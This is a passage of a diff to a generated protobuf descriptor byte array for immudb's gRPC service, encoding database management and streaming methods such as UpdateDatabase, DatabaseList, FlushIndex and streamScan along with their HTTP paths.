0x2f, 0x75, 0x73, + 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, + 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, - 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x63, 0x0a, - 0x0c, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, - 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x88, - 0x02, 0x01, 0x12, 0x75, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, - 0x73, 0x74, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, - 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, - 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, - 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, - 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, - 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, - 0x3a, 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, - 0x76, 0x32, 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, - 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, - 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, - 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x14, 0x3a, 0x01, 0x2a, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x2f, 0x76, 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, + 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, + 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, 0x0a, + 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, + 0x01, 0x2a, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x2f, 0x76, 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, - 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, - 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, - 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, - 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, - 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, - 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, - 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, - 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, + 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, + 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, + 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, + 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, - 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, - 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, - 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, - 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, - 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, - 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, + 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, + 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, + 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, + 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, + 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, + 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 